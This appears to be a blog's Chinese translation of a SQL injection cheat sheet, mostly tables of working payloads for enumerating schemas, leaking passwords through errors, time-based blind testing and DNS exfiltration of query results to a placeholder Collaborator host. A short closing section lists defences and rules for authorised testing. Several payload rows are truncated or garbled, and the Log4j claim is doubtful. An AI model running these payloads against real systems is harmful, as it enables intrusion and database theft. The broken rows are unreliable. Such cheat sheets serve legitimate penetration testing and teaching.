SQL速查表
SQL注入速查表
本SQL注入速查表提供了在执行SQL注入攻击时常用的语法示例,用于完成各种常见任务。
字符串连接
可以将多个字符串连接成一个字符串。
| 数据库 | 语法 |
|---|---|
| Oracle | `’foo’ |
| Microsoft | 'foo'+'bar' |
| PostgreSQL | `’foo’ |
| MySQL | 'foo' 'bar' [注意两个字符串之间的空格] CONCAT('foo','bar') |
子字符串提取
可以从指定偏移位置(偏移索引从1开始)提取指定长度的子字符串。以下表达式均返回字符串”ba”。
| 数据库 | 语法 |
|---|---|
| Oracle | SUBSTR('foobar', 4, 2) |
| Microsoft | SUBSTRING('foobar', 4, 2) |
| PostgreSQL | SUBSTRING('foobar', 4, 2) |
| MySQL | SUBSTRING('foobar', 4, 2) |
注释
可以使用注释截断查询,移除原始查询中位于输入之后的部分。
| 数据库 | 语法 |
|---|---|
| Oracle | --comment |
| Microsoft | --comment /*comment*/ |
| PostgreSQL | --comment /*comment*/ |
| MySQL | #comment -- comment [注意双破折号后的空格] /*comment*/ |
数据库版本查询
可以查询数据库的类型和版本信息,这对构造更复杂的攻击很有帮助。
| 数据库 | 语法 |
|---|---|
| Oracle | SELECT banner FROM v$version SELECT version FROM v$instance |
| Microsoft | SELECT @@version |
| PostgreSQL | SELECT version() |
| MySQL | SELECT @@version |
数据库内容枚举
可以列出数据库中的表及表的列。
| 数据库 | 语法 |
|---|---|
| Oracle | SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' |
| Microsoft | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
| PostgreSQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
| MySQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
条件错误
可以测试布尔条件,当条件为真时触发数据库错误。
| 数据库 | 语法 |
|---|---|
| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
| Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
| PostgreSQL | 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
通过可见错误信息提取数据
可能通过恶意查询触发包含敏感数据的错误信息泄漏。
| 数据库 | 示例 |
|---|---|
| Microsoft | SELECT 'foo' WHERE 1 = (SELECT 'secret') > Conversion failed when converting the varchar value 'secret' to data type int. |
| PostgreSQL | SELECT CAST((SELECT password FROM users LIMIT 1) AS int) > invalid input syntax for integer: "secret" |
| MySQL | SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > XPATH syntax error: '\secret' |
批量(堆叠)查询
可以使用批量查询连续执行多个查询。注意后续查询虽然会执行,但结果不会返回给应用程序。因此该技术主要用于盲注,可通过第二个查询触发DNS查询、条件错误或时间延迟。
| 数据库 | 语法 |
|---|---|
| Oracle | 不支持批量查询 |
| Microsoft | QUERY-1-HERE; QUERY-2-HERE QUERY-1-HERE QUERY-2-HERE |
| PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
| MySQL | QUERY-1-HERE; QUERY-2-HERE |
注意:对于MySQL,批量查询通常不能用于SQL注入,但如果目标应用程序使用某些PHP或Python API与MySQL数据库通信,偶尔可能实现。
时间延迟
可以在查询处理时导致数据库时间延迟。以下语句将导致10秒的无条件延迟。
| 数据库 | 语法 |
|---|---|
| Oracle | dbms_pipe.receive_message(('a'),10) |
| Microsoft | WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT pg_sleep(10) |
| MySQL | SELECT SLEEP(10) |
条件时间延迟
可以测试布尔条件,当条件为真时触发时间延迟。
| 数据库 | 语法 |
|---|---|
| Oracle | `SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’ |
| Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') |
DNS查询
可以使数据库向外部域发起DNS查询。为此,需要使用Burp Collaborator生成唯一的子域名用于攻击,然后轮询Collaborator服务器确认DNS查询发生。
| 数据库 | 语法 |
|---|---|
| Oracle | (利用XXE漏洞触发DNS查询。该漏洞已修补,但存在许多未修补的Oracle安装): SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual 以下技术在完全修补的Oracle安装上有效,但需要提升的权限: SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') |
| Microsoft | exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' |
| PostgreSQL | copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' |
| MySQL | 以下技术仅适用于Windows: LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |
带数据外泄的DNS查询
可以使数据库向包含注入查询结果的外部域发起DNS查询。为此,需要使用Burp Collaborator生成唯一的子域名用于攻击,然后轮询Collaborator服务器检索DNS交互详情,包括外泄的数据。
| 数据库 | 语法 |
|---|---|
| Oracle | `SELECT EXTRACTVALUE(xmltype(‘<!DOCTYPE root [ <!ENTITY % remote SYSTEM “http://‘ |
| Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') |
| PostgreSQL | create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); `c := ‘copy (SELECT ‘’’’) to program ‘’nslookup ‘ |
| MySQL | 以下技术仅适用于Windows: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |
补充内容(白帽工作专用)
防御措施建议
- 参数化查询(预编译语句):所有数据库操作都应使用参数化查询
- 输入验证:对用户输入进行严格的白名单验证
- 最小权限原则:数据库账户应仅具有必要的最小权限
- 错误处理:避免将详细的数据库错误信息返回给用户
- WAF部署:考虑使用Web应用防火墙拦截SQL注入尝试
现代SQL注入技术补充
- 二阶SQL注入:数据先被存储后被执行
- 基于时间的盲注优化:使用
BENCHMARK()(MySQL)或时间函数提高检测效率 - JSON注入:针对支持JSON的数据库(如PostgreSQL 9.4+、MySQL 5.7+)
- NoSQL注入:针对MongoDB等非关系型数据库
自动化工具推荐(仅用于授权测试)
- SQLmap:自动化SQL注入检测与利用
- Burp Suite:手工测试与漏洞验证
- OWASP ZAP:开源Web应用安全测试工具
- NoSQLMap:NoSQL数据库注入工具
合法测试注意事项
- 明确授权:仅在获得书面授权的情况下进行测试
- 范围限定:严格控制在授权范围内测试
- 数据保护:不得窃取、修改或破坏任何数据
- 报告规范:发现漏洞后应及时报告,不得利用漏洞获取未授权信息
- 遵守法律法规:严格遵循《网络安全法》等相关法律法规
最新漏洞关注
- CVE-2021-44228:Log4j相关可能导致的SQL注入链
- ORM框架漏洞:如MyBatis、Hibernate等框架的注入问题
- 云数据库配置错误:云环境下的数据库暴露和注入风险
重要声明:本速查表仅供合法的安全测试和教育用途。未经授权的系统测试是违法行为,请务必在获得明确授权的前提下使用这些知识。安全研究人员应始终遵循负责任的漏洞披露原则。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 We1ky's Blog!


